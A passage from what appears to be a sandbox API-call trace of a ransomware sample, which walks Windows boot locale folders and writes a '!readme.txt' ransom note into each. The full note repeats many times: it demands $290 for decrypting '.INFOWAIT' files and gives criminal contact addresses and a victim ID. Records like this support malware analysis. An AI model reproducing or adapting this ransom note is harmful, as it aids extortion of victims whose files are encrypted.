further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004", lpString2="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" | out: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40") returned="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" [0113.565] PathFindExtensionW (pszPath="C:\\Boot\\cs-CZ\\!readme.txt") returned=".txt" [0113.565] FindNextFileW (in: hFindFile=0x66ba88, lpFindFileData=0x26ef60c | out: lpFindFileData=0x26ef60c) returned 1 [0113.566] PathFindExtensionW (pszPath="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned=".mui" [0113.566] PathFindFileNameW (pszPath="C:\\Boot\\da-DK\\") returned="da-DK\\" [0113.566] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0113.566] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.566] PathFindFileNameW (pszPath="") returned="" [0113.566] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x6caba8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0113.566] PathAppendW (in: pszPath="C:\\Boot\\da-DK\\", pMore="!readme.txt" | out: pszPath="C:\\Boot\\da-DK\\!readme.txt") returned 1 [0113.566] PathFileExistsW (pszPath="C:\\Boot\\da-DK\\!readme.txt") returned 0 [0113.566] lstrcpyW (in: lpString1=0x2481898, lpString2="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004" | out: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004") returned="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004" [0113.566] lstrcatW (in: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004", lpString2="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" | out: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40") returned="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" [0113.568] PathFindExtensionW (pszPath="C:\\Boot\\da-DK\\!readme.txt") returned=".txt" [0113.568] PathFindExtensionW (pszPath="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned=".mui" [0113.568] PathFindFileNameW (pszPath="C:\\Boot\\de-DE\\") returned="de-DE\\" [0113.568] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0113.569] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.569] PathFindFileNameW (pszPath="") returned="" [0113.569] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x6caba8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0113.569] PathAppendW (in: pszPath="C:\\Boot\\de-DE\\", pMore="!readme.txt" | out: pszPath="C:\\Boot\\de-DE\\!readme.txt") returned 1 [0113.569] PathFileExistsW (pszPath="C:\\Boot\\de-DE\\!readme.txt") returned 0 [0113.572] lstrcpyW (in: lpString1=0x24828a0, lpString2="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004" | out: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004") returned="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004" [0113.572] lstrcatW (in: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004", lpString2="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" | out: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40") returned="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" [0113.574] PathFindExtensionW (pszPath="C:\\Boot\\de-DE\\!readme.txt") returned=".txt" [0113.574] PathFindExtensionW (pszPath="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned=".mui" [0113.574] PathFindFileNameW (pszPath="C:\\Boot\\el-GR\\") returned="el-GR\\" [0113.574] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0113.574] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.574] PathFindFileNameW (pszPath="") returned="" [0113.574] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x6caba8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0113.575] PathAppendW (in: pszPath="C:\\Boot\\el-GR\\", pMore="!readme.txt" | out: pszPath="C:\\Boot\\el-GR\\!readme.txt") returned 1 [0113.575] PathFileExistsW (pszPath="C:\\Boot\\el-GR\\!readme.txt") returned 0 [0113.575] lstrcpyW (in: lpString1=0x24838a8, lpString2="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004" | out: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004") returned="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004" [0113.575] lstrcatW (in: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004", lpString2="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" | out: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40") returned="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" [0113.578] PathFindExtensionW (pszPath="C:\\Boot\\el-GR\\!readme.txt") returned=".txt" [0113.578] PathFindExtensionW (pszPath="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned=".mui" [0113.578] PathFindFileNameW (pszPath="C:\\Boot\\en-US\\") returned="en-US\\" [0113.578] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0113.578] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.578] PathFindFileNameW (pszPath="") returned="" [0113.578] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x6caba8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0113.578] PathAppendW (in: pszPath="C:\\Boot\\en-US\\", pMore="!readme.txt" | out: pszPath="C:\\Boot\\en-US\\!readme.txt") returned 1 [0113.578] PathFileExistsW (pszPath="C:\\Boot\\en-US\\!readme.txt") returned 0 [0113.579] lstrcpyW (in: lpString1=0x24848b0, lpString2="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004" | out: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004") returned="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004" [0113.579] lstrcatW (in: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004", lpString2="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" | out: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40") returned="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" [0113.581] PathFindExtensionW (pszPath="C:\\Boot\\en-US\\!readme.txt") returned=".txt" [0113.581] PathFindExtensionW (pszPath="C:\\Boot\\en-US\\bootmgr.exe.mui") returned=".mui" [0113.581] PathFindExtensionW (pszPath="C:\\Boot\\en-US\\memtest.exe.mui") returned=".mui" [0113.581] PathFindFileNameW (pszPath="C:\\Boot\\es-ES\\") returned="es-ES\\" [0113.581] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0113.582] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.582] PathFindFileNameW (pszPath="") returned="" [0113.582] 